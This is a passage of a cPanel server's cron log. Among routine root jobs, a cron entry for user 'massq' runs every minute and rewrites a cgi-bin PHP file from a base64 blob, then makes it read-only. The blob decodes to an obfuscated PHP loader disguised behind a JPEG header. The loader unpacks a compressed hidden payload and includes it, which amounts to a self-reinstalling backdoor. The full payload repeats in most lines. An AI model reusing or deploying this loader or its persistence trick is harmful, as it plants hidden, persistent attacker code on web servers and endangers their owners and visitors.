yIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 21:05:01 server CROND[7286]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  8 21:05:01 server CROND[7287]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  8 21:05:01 server CROND[7288]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  8 21:05:01 server CROND[7289]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 21:06:01 server CROND[7443]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 21:07:01 server CROND[7512]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 21:08:01 server CROND[7666]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 21:09:01 server CROND[7737]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr  8 21:09:01 server CROND[7738]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 21:10:01 server CROND[7814]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  8 21:10:01 server CROND[7815]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  8 21:10:01 server CROND[7817]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  8 21:10:01 server CROND[7816]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 21:11:01 server CROND[7933]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 21:12:01 server CROND[8050]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  8 21:12:01 server CROND[8051]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 21:13:01 server CROND[8127]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 21:14:01 server CROND[8304]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 21:15:01 server CROND[8372]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  8 21:15:01 server CROND[8373]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 21:15:01 server CROND[8374]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  8 21:16:01 server CROND[8498]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 21:17:01 server CROND[8571]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
